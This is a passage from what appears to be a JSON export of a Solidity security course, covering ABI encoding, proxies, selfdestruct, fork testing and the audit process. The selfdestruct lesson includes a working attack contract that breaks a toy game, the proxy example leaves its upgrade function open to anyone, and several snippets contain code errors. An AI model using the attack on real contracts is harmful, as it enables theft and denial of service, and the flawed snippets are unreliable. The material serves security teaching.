Abi.encodePacked\n---\n\n_Follow along with the video_\n\n---\n\n## Understanding ABI.encode & ABI.encodePacked in Solidity\n\n### Introduction\n\nThe topic we're diving into is how to concatenate strings in Solidity, specifically exploring `abi.encode` and `abi.encodePacked`. This is advanced stuff, delving into the low-level workings of Solidity, binary, and opcodes. Remember, it's okay if you don't grasp it all on the first go!\n\n> Remember: You can find all the code we'll be working with [**here**](https://github.com/PatrickAlphaC/hardhat-nft-fcc/tree/main/contracts/sublesson).\n\n### Getting Started\n\n- **Setting Up:** We'll use Remix for this exploration. Start by creating a new file named `encoding.sol`.\n\nYour contract should look something like this:\n\n```js\n//SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.7\n\ncontract Encoding {\n function combineStrings() public pure returns (string memory) {\n return string(abi.encodePacked(\"Hi Mom! \", \"Miss you.\"));\n }\n}\n```\n\nCompiling this contract and calling the `combineStrings()` function in Remix is going to give us the whole string `\"Hi Mom! Miss you.\"`\n\n### Exploring `abi.encode` and `abi.encodePacked`\n\n- **Understanding Encoding:** We use `abi.encode` and `abi.encodePacked` for encoding strings and other data types into a binary format. In our function above `\"Hi Mom!\"` and `\"Miss you.\"` are both converted into binary then concatenated. We then typecast the returned binary is a string.\n\n`encode` and `encodePacked` are examples of globally available methods in Solidity. There's a [**Cheatsheet**](https://docs.soliditylang.org/en/latest/cheatsheet.html) you should checkout with more information and tonnes of examples of these globally available methods and variables.\n\n> Note: As of `Solidity 0.8.12` you can also use `string.concat(stringA, StringB)` to achieve the same result as our `\"Hi Mom!\"` example.\n\nBefore getting to deep with encoding, let's take a step back to understand what's happening when we send a transaction.\n\n### Compilation Breakdown\n\n\"block\n\nAs seen in the image above, when we compile a smart contract, the solidity compiler is returning two things `contract.abi` and `contract.bin`. The `abi` you likely remember from previous lessons.\n\n`Contract.bin` is the binary representation of your contract. This is the actual code that get put on the blockchain.\n\nWe see this binary object in transaction we send to the blockchain. Recall what constitutes a transaction:\n\n```js\ntx = {\n nonce: nonce,\n gasPrice: 10000000000,\n gasLimit: 1000000,\n to: null,\n value: 0,\n data: \"BINARYGOESHERE\",\n chainId: 1337,\n};\n```\n\n> Note: When we're deploying a new contract, this is still a transaction on the blockchain, but our `to` property is empty and the `data` field will contain both the `contract init code` and `contract bytecode(binary)`.\n\n[**Here's**](https://etherscan.io/tx/0x112133a0a74af775234c077c397c8b75850ceb61840b33b23ae06b753da40490) a transaction on etherscan.io with a binary data object you can inspect.\n\nAt first look, the binary data in a transaction looks like chaos. Just a garbled mess of letters and numbers. You may be asking yourself - how does the EVM (Ethereum Virtual Machine) make any sense of these instructions?\n\nWell ...\n\n### Intro to EVM Opcodes\n\n> Opcodes are the building blocks of EVM instructions. Each opcode represents a specific operation.\n\nOpcodes are effectively the alphabet of the ethereum machine language. Each pair of characters in the binary object discussed above represents an Opcode with pertains to a specific operation to be performed.\n\nYou can find a list of the EVM Opcodes [**here**](https://www.evm.codes/?fork=shanghai).\n\nThis means that the binary object we pass in our blockchain transactions is ultimately a long list of these operations we're telling the EVM to perform.\n\n### Why This Matters\n\nUntil now we've only used `encode` and `encodePacked` to concatenate strings, but in reality these functions are much more powerful. You can encode virtually anything into its binary format.\n\n- **abi.encode** - returns the binary of the provided argument\n- **abi.encodePacked** - returns the binary of the provided argument, but with stipulation/compression\n - types shorter than 32 bytes are concatenated directly, without padding or sign extension\n - dynamic types are encoded in-place and without the length.\n - array elements are padded, but still encoded in-place\n\nRead more about [**Non-standard Packed Mode**](https://docs.soliditylang.org/en/latest/abi-spec.html#abi-packed-mode)\n\nThe other side to this whole equation is that we also have the ability to _`decode`_ things.\n\n\"block\n\nand finally .. we can even `multiEncode` and `multiDecode`.\n\n## \"block\n\n# Conclusion\n\nHopefully this lesson has shed some light on some of the finer details of using encoding functions in solidity and the power they can hold. In the next lesson we'll be looking at how to encode function calls directly.\n", + "updates": [] + }, + { + "id": "8aaefdb7-de7a-47ce-abbd-953fb53bb1c5", + "number": 11, + "title": "Encoding Functions", + "slug": "encoding-function", + "folderName": "11-encoding-function", + "description": "Delve into the concept of ABI encoding for direct function calls in Ethereum. This lesson highlights how to populate the data field in transactions with binary code for specific function calls, enhancing the ability to interact with the Ethereum Virtual Machine.", + "duration": 6, + "videoUrl": "vDf9qFIODrE", + "rawMarkdownUrl": "/routes/security/1-review/11-encoding-function/+page.md", + "markdownContent": "---\ntitle: Introduction to Enconding Function Calls Directly\n---\n\n_Follow along with the video_\n\n---\n\n## Understanding ABI Encoding\n\nWith the previous lesson's foundation laid, lets look at what encoding is like within the context of sending transactions.\n\nWe know the EVM is looking for this encoded information, this binary _stuff_. And since transactions sent to the blockchain are ultimately compiled down to this binary, what this allows us to do is populate the `Data` property of a transaction with this binary ourselves.\n\n
\n
\n \"block \n
Remember the properties of a Transaction
\n
\n
\n\n### ABI Encoding and Transactions\n\nWhen an Ethereum transaction is initiated, it is essentially reduced to binary code. This transformation pertains not just to a contract deployment but also a function call. In both cases - transactions and function calls - the data field holds the key.\n\nIn a contract deployment, the data field contains the contract's binary code. But for a function call, the data field holds the instructions about what data to send and which function to address.\n\nLet's dive into an example. If we inspect a transaction on Ethereum using Etherscan, you'll notice a field labeled 'Input data.' Within this field, you'll discover a jumble of hexadecimals - this is the encoded function call.\n\n**Example Input Data**\n\n```js\nFunction: enterRaffle(...)\nMethod ID: 0x2cfcc539\n```\n\nThis `Method ID`, sometimes referred to as a `function signature`, is an encoding of that particular function, including it's name and argument types.\n\nThis encoded function call in the data field is how the EVM, or any EVM compatible chain, deciphers which function should be executed.\n\n### Direct Function Calls\n\n\"block\n\nWith our understanding of ABI encoding, the possibilities expand. We're now able to populate the data field of our transactions directly with the binary or hex code corresponding to the desired function call. Remember, when you initially compile your transaction, `data` was a field that existed? This is where that comes into play.\n\nYou may wonder why this ability is any better than directly using the interface or the Application Binary Interface (ABI). However, there could be scenarios when you might only possess the function name or the parameters. You might even want your code to make arbitrary calls, dangling at the edge of advanced programming. This is when knowing how to populate the data field directly becomes pivotal.\n\n### Sending the Transactions\n\nSo, how do we transform this understanding into action - how do we populate the data field and then send these custom, data-encoded transactions?\n\nIn solidity, we rely on some low-level keywords - `staticcall` and `call` - to perform this function. `staticcall` and `call` are used for view or pure functions and functions that change the blockchains' state, respectively.\n\nIn these functions, the code that specifies a particular function to execute goes into the parentheses (data field). For instance, in a previous function utilized for our lottery contract,\n\n```js\nfunction withdraw(address recentWinnder) public {\n (bool success, ) = recentWinner.call{value: address.(this).balance}(\"\");\n require(success, \"Transfer Failed\");\n}\n```\n\nthe `{value: address.(this).balance}` segment updates the transaction's value field while the empty parentheses imply there's no function to call; the transaction merely sends money.\n\nHowever, if a function needs to be executed or data should be sent, it can be specified in the parentheses, let's combine this with our previous `Method ID` we got from etherscan.\n\n```js\nfunction enterRaffle(uint256 entryFee) public payable {\n PuppyRaffle puppyRaffle = new PuppyRaffle;\n puppyRaffle.call{value: entryFee}(\"0x2cfcc539\");\n}\n```\n\nIn the above example, you can see that we're passing the `entryFee` as an argument to the `value` property of the transaction and in the `data` field we are populating the `function signature`. This will tell the EVM, what to call, where and how much to send.\n\n### Wrap Up\n\nTo wrap it up, remember that although the realm of Ethereum and EVM might seem overwhelming at first, understanding their machinations, such as ABI encoding, one concept at a time allows you to become an active participant in the blockchain network, enhancing your ability to interact effectively and perform more advanced operations.\n\n> \"The function of good programming is to do the thinking for you, to the extent possible, so that when you're using it, your mind is free to think.\" - Joshua Bloch\n", + "updates": [] + }, + { + "id": "315ac33d-e452-4aa2-b577-9b72f1f6ace2", + "number": 12, + "title": "Upgradeable contracts", + "slug": "upgradeable-contracts", + "folderName": "12-upgradeable-contracts", + "description": "Explore the design of upgradeable smart contracts using Proxy and Delegate Call. This lesson covers the functionality, applications, and coding techniques of these concepts, crucial for managing contract upgrades while preserving the contract's state.", + "duration": 6, + "videoUrl": "fCP26ewN38A", + "rawMarkdownUrl": "/routes/security/1-review/12-upgradeable-contracts/+page.md", + "markdownContent": "---\ntitle: Upgradeable Contracts\n---\n\n_Follow along with the video_\n\n---\n\n## Upgradeable Contracts\n\nIn this section we're going to ask ourselves `what is a proxy?` and `how does delegateCall` work? in an effort to better understand the advantages and disadvantages of upgradeable smart contracts.\n\nAll the code we'll be working with here is available in the Upgrades repo of the Foundry Course, available [**here**](https://github.com/Cyfrin/foundry-upgrades-f23/tree/main).\n\n## SmallProxy.sol\n\nLet's take a look at a simple proxy example:\n\n```js\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\ncontract SmallProxy is Proxy {\n // This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1\n bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function setImplementation(address newImplementation) public {\n assembly {\n sstore(_IMPLEMENTATION_SLOT, newImplementation)\n }\n }\n\n function _implementation() internal view override returns (address implementationAddress) {\n assembly {\n implementationAddress := sload(_IMPLEMENTATION_SLOT)\n }\n }\n}\n```\n\n> Note: we're importing `Proxy.sol` from [**openzeppelin**](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol) as a boilerplate proxy for our example.\n\n### Preface to Yul\n\nThe contract we're importing here uses a lot of `Yul`.\n\n> \"`Yul` is an intermediate language that can be compiled to bytecode for different backends.\" - [**Solidity Docs**](https://docs.soliditylang.org/en/latest/yul.html)\n\nWe won't go too deeply into `Yul`, but please read more in the documentation if it interests you. Note, however, even if you're a really advanced user, avoiding the implementation of really low-level calls is preferred. It's much easier to make significant errors, the lower you are in your code.\n\n### Proxy.sol - a closer look\n\nWithin our `Proxy.sol` contract, we've got the `_delegate()` function. This function is called by `Proxy.sol`'s `fallback()` function. This means any time our contract received data for a function it doesn't recognize, it's going to call our `_delegate()` function.\n\nThe `_delegate()` function, then sends that data over to some `implementation` contract.\n\n\"block\n\nLooking at `SmallProxy.sol` you can see you have these two functions:\n\n```js\nfunction setImplementation(address newImplementation) public {\n assembly {\n sstore(_IMPLEMENTATION_SLOT, newImplementation)\n }\n }\n\n function _implementation() internal view override returns (address implementationAddress) {\n assembly {\n implementationAddress := sload(_IMPLEMENTATION_SLOT)\n }\n }\n```\n\n- **setImplementation()** - changes the implementation contract, effectively allowing a protocol to upgrade.\n- **\\_implementation** - reads the location of the implementation contract\n\nYou may also have noticed `bytes32 private constant _IMPLEMENTATION_SLOT = ...` this is the storage slot where we are storaage the address of our implementation contract. You read more about `Standard Proxy Storage Slots` in [**EIP-1967**](https://eips.ethereum.org/EIPS/eip-1967)\n\nLet's consider a based implementation contract:\n\n```js\ncontract ImplementationA {\n uint256 public value;\n\n function setValue(uint256 newValue) public {\n value = newValue;\n }\n}\n```\n\nNow we ask ourselves `What data needs to be passed to my proxy contract in order to call this function?`\n\nIf you recall from the last lesson, this data being passed is going to be the encoded function signature and any necessary arguments the function requires! We can get this encoding with a couple helper functions added to `SmallProxy.sol`:\n\n```js\n// helper function\n function getDataToTransact(uint256 numberToUpdate) public pure returns (bytes memory) {\n return abi.encodeWithSignature(\"setValue(uint256)\", numberToUpdate);\n }\n```\n\nNow let's use a little assembly to read the storage slot this value is set to:\n\n```js\nfunction readStorage() public view returns (uint256 valueAtStorageSlotZero) {\n assembly {\n valueAtStorageSlotZero := sload(0)\n }\n }\n```\n\nWith that all set up, here's what we'd do next:\n\n1. deploy both `SmallProxy.sol` and `ImplementationA.sol`\n2. call the `setImplementation()` function on `SmallProxy.sol`, passing it `ImplementationA`'s address as an argument\n3. acquire the data needed for the transaction being sent\n > By passing `777` to our `getDataToTransact()` function we have returned: `0x552410770000000000000000000000000000000000000000000000000000000000000309` this encodes the `function signature` with the passed arguement of `777`.\n\nWhen this is passed to our proxy contract, the contract won't recognize the function signature, will call `fallback()` (which calls `_delegate()`) and pass the data to our implementation contract which DOES recognize this data!\n\n4. Send transaction with the data\n\nNow, when we call the `readStorage()` function, we caan see that the value on our proxy contract has indeed been set to `777`!\n\nThis is a great illustration of how data is routed from our proxy contract to the implementation contract. Let's see what happens when we upgrade things by changing the implementation contract.\n\nIf we deploy a new implementation:\n\n```js\ncontract ImplementationB {\n uint256 public value;\n\n function setValue(uint256 newValue) public {\n value = newValue + 2;\n }\n}\n```\n\n...and subsequently pass this new address to our proxy's `setImplementation()` function...\n\n```js\nfunction setImplementation(address implementationB);\n```\n\nWhen we then pass the same data as before to our proxy contract, we can indeed see this is reaching `implementationB` and we're having returned `newValue +2`!\n\n\"block\n\n---\n\n### Wrap up\n\nNow, with this understanding in hand, it's easy to see the power proxies hold. On one hand, they are very convenient and afford developers some safeguard if things should need to change. On the other - if this process is controlled by a single (or small group) of wallets, this opens the door to some high risk centralization concerns.\n\nNext, we'll be looking at `selfDestruct` and how it can be used to circumvent intended contract funtionality!\n", + "updates": [] + }, + { + "id": "69e4923d-69e2-4b4e-9856-272cf26ae896", + "number": 13, + "title": "Self Destruct", + "slug": "self-destruct", + "folderName": "13-self-destruct", + "description": "Understand the use and implications of the selfdestruct keyword in Solidity. This lesson explains how selfdestruct can remove contracts and force ETH into specified addresses, a unique behavior with significant impact on contract functionality and security.", + "duration": 12, + "videoUrl": "2EgmJID8VxU", + "rawMarkdownUrl": "/routes/security/1-review/13-self-destruct/+page.md", + "markdownContent": "---\ntitle: Self-destruct\n---\n\n_follow along with the video_\n\n---\n\n## Forever On-chain ... mostly\n\nThe next concept I want you to know is that of the `selfdestruct()` keyword in Solidity. In essence this keyword will destroy, or delete a contract.\n\n## The Unique Characteristic of Selfdestruct\n\nWhy `selfdestruct` stands out lies in its exceptional behavior once a contract gets destroyed. Any Ethereum (or ETH) residing within the deleted contract gets automatically ‘pushed’ or ‘forced’ into any address that you specify.\n\nUnder normal circumstances a contract that doesn't contain a receive or fallback function (or some other payable function capable of receiving funds) cannot have ETH sent to it.\n\nOnly through the use of `selfdestruct` can you be permitted to push any Ethereum into such a contract.\n\nSo if ever you’re hunting for an exploit, or you have identified an attack where you need to force ETH into a contract, `selfdestruct` will be your instrument of choice.\n\n## `selfdestruct` in Action\n\nTo get a clear understanding, let’s put these into practice. Starting with a code base from [Solidity by example](https://solidity-by-example.org/hacks/self-destruct/) - and then carrying it into Remix, we will be able to observe this concept directly in action.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\n// The goal of this game is to be the 7th player to deposit 1 Ether.\n// Players can deposit only 1 Ether at a time.\n// Winner will be able to withdraw all Ether.\n\n/*\n1. Deploy EtherGame\n2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.\n2. Deploy Attack with address of EtherGame\n3. Call Attack.attack sending 5 ether. This will break the game\n No one can become the winner.\n\nWhat happened?\nAttack forced the balance of EtherGame to equal 7 ether.\nNow no one can deposit and the winner cannot be set.\n*/\n\ncontract EtherGame {\n uint public targetAmount = 7 ether;\n address public winner;\n\n function deposit() public payable {\n require(msg.value == 1 ether, \"You can only send 1 Ether\");\n\n uint balance = address(this).balance;\n require(balance <= targetAmount, \"Game is over\");\n\n if (balance == targetAmount) {\n winner = msg.sender;\n }\n }\n\n function claimReward() public {\n require(msg.sender == winner, \"Not winner\");\n\n (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(sent, \"Failed to send Ether\");\n }\n}\n\ncontract Attack {\n EtherGame etherGame;\n\n constructor(EtherGame _etherGame) {\n etherGame = EtherGame(_etherGame);\n }\n\n function attack() public payable {\n // You can simply break the game by sending ether so that\n // the game balance >= 7 ether\n\n // cast address to payable\n address payable addr = payable(address(etherGame));\n selfdestruct(addr);\n }\n}\n\n```\n\nLooking closely at the above contracts, we can see that `EtherGame` requires `address(this).balance == targetAmount`. The expectation of the protocol is that any user can only deposit 1ETH and each deposit transaction is checked as a winner.\n\nCan you think of how we'd break these invariants?\n\nBy leveraging `selfdestruct(payable(address(etherGame)));` on our `Attack` contract, we can force ETH to the `EtherGame` contract that isn't accounted for.\n\n```js\nif (balance == targetAmount) {\n winner = msg.sender;\n}\n```\n\nBy forcing enough ETH to `EtherGame` we can assure the above condition is never met and a winner is never decided!\n\n## Conclusion\n\nThe `selfdestruct()` function is powerful. It's one of the only ways to force a contract to receive ETH that it doesn't want and in so doing exists as an attack vector for any protocol not prepared for it.\n", + "updates": [] + }, + { + "id": "bb5432c8-381c-4143-9c43-d37769c15557", + "number": 14, + "title": "Fork Tests", + "slug": "fork-tests", + "folderName": "14-fork-tests", + "description": "This final lesson guides you through the process of conducting fork tests, creating a simulated version of the mainnet for testing purposes. It covers the use of tools like Alchemy URL and practical exercises to solidify your understanding of Solidity and smart contract development.", + "duration": 10, + "videoUrl": "TPYcJeNgSrQ", + "rawMarkdownUrl": "/routes/security/1-review/14-fork-tests/+page.md", + "markdownContent": "---\ntitle: Fork Tests & Congrats!\n---\n\n_follow along with the video_\n\n---\n\n## Forking Mainnet\n\nForking is a valuable tool is a developer's box, it effectively takes a reference snapshot at a given block height on the provided chain. In practice, this allows us to interact with protocols as though we were interacting with them on mainnet.\n\n## Fork Tests in Foundry\n\n```bash\nforge test fork-url $MAINNET_RPC_URL\n```\n\nThis command in foundry tells the framework to run your tests while referencing a fork of the provided RPC URL, allowing you to interact with mainnet contract locally.\n\nAnother way to fork is within the test contract directly.\n\n```js\nfunction setUp() public {\n vm.createSelectFork({blockNumber: 0, urlOrAlias: \"mainnet\"})\n}\n```\n\n> Note: `mainnet` will need to be set as an alias in your `foundry.toml` under a new variable `[rpc_endpoints]`\n\n```js\n[rpc_endpoints];\nmainnet = \"{MAINNET_RPC_URL}\";\n```\n\nWith the above in place running the following will run your tests with respect to a fork of a live chain!\n\n```bash\nforge test\n```\n\n## Useful Resources & Exercises\n\nIf any concepts covered in this blog post seem confusing or new to you, take a moment to check out the Foundry Full Course here on Updraft ([**Foundry Fundamentals**](https://updraft.cyfrin.io/courses/foundry) & [**Advanced Foundry**](https://updraft.cyfrin.io/courses/advanced-foundry)) to level up those concepts and give you all the information you need to succeed here. These resources will expedite your learning and help you solidify the fundamental concepts.\n\nBefore signing off, I'd encourage you to join the [Cyfrin Discord](https://discord.com/invite/NhVAmtvnzr). This is an excellent platform where you can connect, collaborate, and share insights with a diverse group of people working on similar goals.\n\nIn addition to this, check out the [**Discussions on GitHub**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/discussions) - this is a phenomenal place to get support and have your questions answered in a way that will be indexed by search engines and AI in an effort to improve the experience for people coming behind us.\n\n\"block\n\nCongratulations on finishing the refresher! Take a break, you greatly deserve it for getting this far!\n\n---\n\nSection 1 NFT Challenge 👀\n\n[Refresher NFT (Arb)](https://arbiscan.io/address/0x7a0f40757f6ba868b44ce959a1d4b8bc22c21d59)\n\n[Refresher NFT (Sepolia)](https://sepolia.etherscan.io/address/0x76d2403b80591d5f6af2b468bc14205fa5452ac0)\n", + "updates": [] + } + ] + }, + { + "number": 2, + "id": "1645f5be-0f61-49bc-aba5-9485020053bd", + "title": "What is a smart contract audit", + "slug": "audit", + "folderName": "2-audit", + "lessons": [ + { + "id": "5a691a25-f2f3-4e52-a6d6-7fbb09d85976", + "number": 1, + "title": "What is a smart contract audit?", + "slug": "what-is-an-audit", + "folderName": "1-what-is-an-audit", + "description": "This lesson delves into what a smart contract audit, or more accurately, a security review, truly entails. It discusses the three phases of a security review, the importance of these reviews in ensuring code security on immutable blockchain systems, and effective techniques used in the process. The lesson also emphasizes the distinction between the terms 'audit' and 'security review' and their implications in the context of blockchain and smart contracts.", + "duration": 10, + "videoUrl": "w-WVn_ZUDQ4", + "rawMarkdownUrl": "/routes/security/2-audit/1-what-is-an-audit/+page.md", + "markdownContent": "---\ntitle: What is a Smart Contract Audit?\n---\n\n_Follow along with this video:_\n\n##\n\n---\n\nYou might think you've got a grip on what a smart contract audit is all about, but this lesson aims to help you dive deeper and truly comprehend the whole process. Brace yourself, as today we are stepping into the interesting realm of security reviews.\n\nLet's start off by stating that the term \"smart contract audit\" is a bit of a misnomer. As a more appropriate alternative, I am a stout advocate of \"security review.\" I even have a T-shirt to prove my allegiance!\n\nYou might be wondering why this change of terms is required. Well, it’s because the term 'audit' might wrongly insinuate some kind of guarantee or even encompass legal implications. A security review, being free of these misconceptions, exudes the essence of what we are actually doing: looking for as many bugs as possible to ensure maximum code security.\n\n> Note: Despite this, many protocols still insist on requesting a \"smart contract audit,\" so it's eminent to know that the terms are interchangeable. When you hear \"security review\", think \"smart contract audit\" and vice versa. Protocols are often unaware of these nuances, but you, as a trained security researcher, know better!\n\nBy now, I hope you're questioning with anticipation: \"What does a security review entail?\"\n\n## The Three Phases of a Security Review\n\nRight in our GitHub repository, we detail the three phases of a security review and what that process looks like.\n\n Initial Review\n Scoping\n Reconnaissance\n Vulnerability identification\n Reporting\n Protocol fixes\n Fixes issues\n Retests and adds tests\n Mitigation Review\n Reconnaissance\n Vulnerability identification\n Reporting\n\nTo give you a heads-up, there really isn't a \"one-size-fits-all\" approach to smart contract auditing. There are several unique strategies, each bringing a different set of pros and cons to the table.\n\nIn this course we'll discuss two particularly effective techniques, `\"the Tincho\"` and `\"the Hans\"`, to help familiarize you with the process. However, remember that these are just examples; there isn’t a definitive, \"correct\" way of performing a security review.\n\nBefore we delve into the specifics, let's discuss why security reviews are critical.\n\n## Importance of Security Reviews\n\n> A smart contract audit is a timeboxed, security based review of your smart contract system. An auditor's goal is to find as many vulnerabilities as possible and educate the protocol and security and coding best-practices moving forward.\n\nAs code deployed to a blockchain is immutable, it’s crucial that it's error-free before deployment. The permissionless and adversarial nature of the blockchain means that protocols need to be ready to repel malicious users. Failure to do so can lead to hefty monetary losses, as evidenced by the nearly $4 billion stolen due to smart contract vulnerabilities last year.\n\nThe benefits of conducting a security review go beyond just minimizing vulnerabilities.\n\nIt also aids protocol developers in enhancing their understanding of the code itself, thereby accelerating feature implementation and increasing effectiveness. A security review can also familiarize your team with the latest trends and tooling in the space.\n\nOften a single audit won't be enough, protocols are really entering into a security journey which may include:\n\n- Formal Verification\n- Competitive Audits\n- Mitigation Reviews\n- Bug Bounty Programs\n\nWith this understanding, let's familiarize ourselves with the process of a typical audit.\n\n### Reach Out for a Review\n\nThe review process begins when a protocol reaches out, be it before or after their code is complete. After they make contact, it's important to determine the cost of a review based on things like:\n\n- Code Complexity/nSLOC\n- Scope\n- Duration\n- Timeline\n\nLines of Code: Duration\n\n- 100 : 2.5days\n- 500 : 1 Week\n- 1000 : 1-2 Weeks\n- 2500 : 2-3 Weeks\n- 5000 : 3-5 Weeks\n- 5000+: 5+ weeks\n\nTake this with a lot of salt though as these timelines vary largely based on circumstance.\n\nWith the submission of a `commit hash` and `down payment` by the protocol and start date can be set!\n\n> Note: The `commit hash` is the unique ID of the codebase an auditor will be working with.\n\n### Audit Begins\n\nNow that the admin work is done, auditors can roll up their sleeves and get to work. Using everything in their arsenal, they will strive to find as many vulnerabilities as possible in your code.\n\n### Initial Report\n\nOnce the review period is over, the auditors compile an initial report. This report includes all findings, categorized according to severity\n\n- High\n- Medium\n- Low\n- Information/Non-critical\n- Gas Efficiences\n\nHigh, medium and low findings have their severity determined by the impact and likelihood of an exploit.\n\nInformational/Non-Critical and Gas are findings focused on improving the efficiency of your code, code structure and best practices. These aren't vulnerabilities, but ways to improve your code.\n\n### Mitigation Phase\n\nThe protocol's team then has a fixed period to address the vulnerabilities found in the initial audit report. More often than not, they can simply implement the recommendations provided by the auditors.\n\n### Final Report\n\nUpon completion of the mitigation phase, the audit team compiles a final audit report focusing exclusively on the fixes made to address the initial report's issues. Hopefully, this cements a strong relationship between the protocol and the audit team, fostering future collaborations to keep Web3 secure.\n\n## Ensuring a Successful Audit\n\nFor an audit to be as successful as possible, you should ensure that there's:\n\n- Good documentation\n- A solid test suite\n- Clear and readable code\n- Modern best practices are followed\n- Clear communication channels\n- An initial video walkthrough of the code\n\nBy considering auditors as an extension of your team, maintaining an open channel of communication, and providing them with the necessary documentation and context, you ensure the audit process is smoother and more accurate, providing auditors valuable context of the codebase.\n\n## Post Audit\n\nLastly, remember that a smart contract audit is an integral part of a security journey rather than an endpoint. Even after an audit, any subsequent code changes need to be reviewed as the new code is unaudited, regardless of the size of the change.\n\n> Remember: One audit might not be enough. Getting more eyes on your code is only going to increase the chances of catching vulnerabilities before it's too late\n\n## What an audit _isn't_\n\nGoing through a security review does not mean that your code is bug free. Security is a continuous process tha tis always evolving.\n\n## In Closing\n\nThis should have provided you a high-level understanding of what a security review is, what it's comprised of and what to expect while performing one.\n\nWe'll detail some of the specific differences between `competitive` and `private` audits in a later section.\n\n> \"There is no silver bullet in smart contract auditing. But understanding the process, methods, and importance of regular security reviews can significantly enhance your protocol's robustness.\"\n", + "updates": [] + }, + { + "id": "66f3d1fb-3ed8-4a12-9164-49b28b28281a", + "number": 2, + "title": "The audit process", + "slug": "the-audit", + "folderName": "2-the-audit", + "description": "This lesson offers a comprehensive guide to the smart contract audit process, outlining the key steps from initial context gathering to the final mitigation review. It highlights the importance of embedding security audits throughout the development lifecycle, following the OWASP guide, to ensure the continuous security of smart contracts.", + "duration": 5, + "videoUrl": "O6ZnjMpKrFM", + "rawMarkdownUrl": "/routes/security/2-audit/2-the-audit/+page.md", + "markdownContent": "---\ntitle: The Audit (Security Review Process)\n---\n\n_Follow along with this video:_\n\n---\n\nWhen developing smart contracts, understanding and following the audit process is a crucial step towards achieving a more secure protocol. Here, we'll outline an example of this process.\n\n## High-Level Overview of The Audit Process\n\nThe smart contract audit process can be briefly summed up in these steps:\n\n1. **Get Context**: Understand the project, its purpose and its unique aspects.\n2. **Use Tools**: Employ relevant tools to scan and analyze the codebase.\n3. **Manual Reviews**: Make a personal review of the code and spot out unusual or vulnerable code.\n4. **Write a Report**: Document all findings and recommendations for the development team.\n\nTo illustrate how this pans out in reality, we can look at the Tincho method used to audit ENS – a process that landed him a cool $100,000 payout! We'll delve into this later on.\n\n## Breakdown of the Audit Process\n\nFor a more detailed perspective, let’s consider the process as broken into three distinct phases:\n\n**Initial Review:** The initial review of a protocol can also be broken down into 4 distinct phases.\n\n- Scoping - This is getting a sense of the protocol. In this phase, auditors go through the code to scope it. This gives an idea of how much time might be required for the audit, which can then be used to establish pricing. Key tasks include identification of all the contract’s dependencies and a general overview of the code. At this stage, auditors don’t dig deep into anything yet.\n- Reconnaissance - Here an auditor starts walking through the code, running tools, interacting with the protocol in an effort to break it.\n- Vulnerability Identification - An auditor determines which vulnerabilities are present and how they're exploited as well as mitigation.\n- Reporting - Compile a report detailing all of the identified vulnerabilities and recommendations to make the protocol more secure.\n\n> \"Your job is to do whatever it takes to make the protocol more secure.\"\n\n**Protocol Fixes:** At this stage the protocol will take an auditor's report and work towards implementing suggested changes and mitigation. The length of time of this period can vary based on complexity of the issues, number of vulnerabilities identified and more.\n\n**Mitigation Review:** Once a protocol has employed and tested all of the recommended fixes, a review is conducted with a focus on verifying that previously reported vulnerabilities have been resolved.\n\nYour ultimate aim should be to make the protocol more secure. Therefore, ensure to take notes of all findings and steps and elaborate it in your report.\n\n> Difference in Audit Types: Note that the aforementioned process details a private audit or a traditional security review. For competitive audits, you are typically optimized for time and identifying as many high vulnerabilities as possible.\n\nRemember, the goal of conducting contract audits isn't simply to tick a box. It's about ensuring the security and smooth running of the smart contract at all stages of its lifecycle. The more audits you conduct, the better you become at identifying potential security issues.\n\n
\n\n
\n\n## Embedding Security Audits in Development Lifecycle\n\nThe process of developing a smart contract follows a lifecycle too. According to the [OWASP](https://www.owasp.org/index.php/Main_Page) (The Open Web Application Security Project) guide, security isn't just a one-off step but a part of your ongoing smart contract journey. It is about fostering the mindset that security is continuous. The smart contract developer lifecycle entails the following stages:\n\n1. **Plan and Design**\n2. **Develop and Test**\n3. **Get an Audit**\n4. **Deploy**\n5. **Monitor and Maintain**\n\nOWASP strongly emphasizes that embedding security considerations into all stages of your Development Lifecycle is what it takes to build a secure decentralized application, not just conducting a one time smart contract “check.” Before deploying your contract, think hard about the security measures in place and ensure to maintain and monitor your code post-deployment.\n\nWhile a smart contract security audit is an absolute necessity, also ensure to plan for any contingencies post-deployment. The key takeaway here is this: Smart contract security is a crucial part of the smart contract development lifecycle and should be treated with as much care as the development of the smart contract itself.\n", + "updates": [] + }, + { + "id": "92351a2d-d6b4-4e2b-bcb5-885069e268d7", + "number": 3, + "title": "Rekt test", + "slug": "rekt-test", + "folderName": "3-rekt-test", + "description": "This lesson introduces the Rekt Test, a set of critical questions designed to assess a protocol's readiness for a security audit. Covering aspects like documentation, security roles, and protective measures, it serves as a foundational checklist for developers to gauge if their protocols are prepared for thorough security evaluations.", + "duration": 4, + "videoUrl": "D9RdC-3jX9M", + "rawMarkdownUrl": "/routes/security/2-audit/3-rekt-test/+page.md", + "markdownContent": "---\ntitle: Rekt Test\n---\n\n_Follow along with this video:_\n\n---\n\n## Audit Readiness\n\nThe concept that once you've had an audit done, you're ready to ship - is wrong. There are two tests that I tell everyone to look at prior to getting a security review one is the [**nacentxyz simple-security-toolkit**](https://github.com/nascentxyz/simple-security-toolkit) and the other is [**The Rekt Test**](https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test/), by Trail of Bits.\n\n### The Rekt Test\n\nThe Rekt Test is highly important as it poses a set of questions to gauge your protocol's preparedness for an audit. This tool forces you to think about security measures from a more proactive angle. Should your protocols fail to answer these questions, the chances are that they're not audit-ready.\n\n\n\nThe questions touch on several aspects like documentation, security roles, security tools, and protective measures, among others. Here's a curated list:\n\n- **Do you have all actors roles and privileges documented?**\n- **Do you keep documentation of external services contracts and Oracles?**\n- **Do you have a written and tested incident response plan?**\n- **Do you document the best ways to attack your system?**\n- **Do you perform identity verification and background checks on all employees?**\n- **Do you have a team member with security defined in the role?**\n- **Do 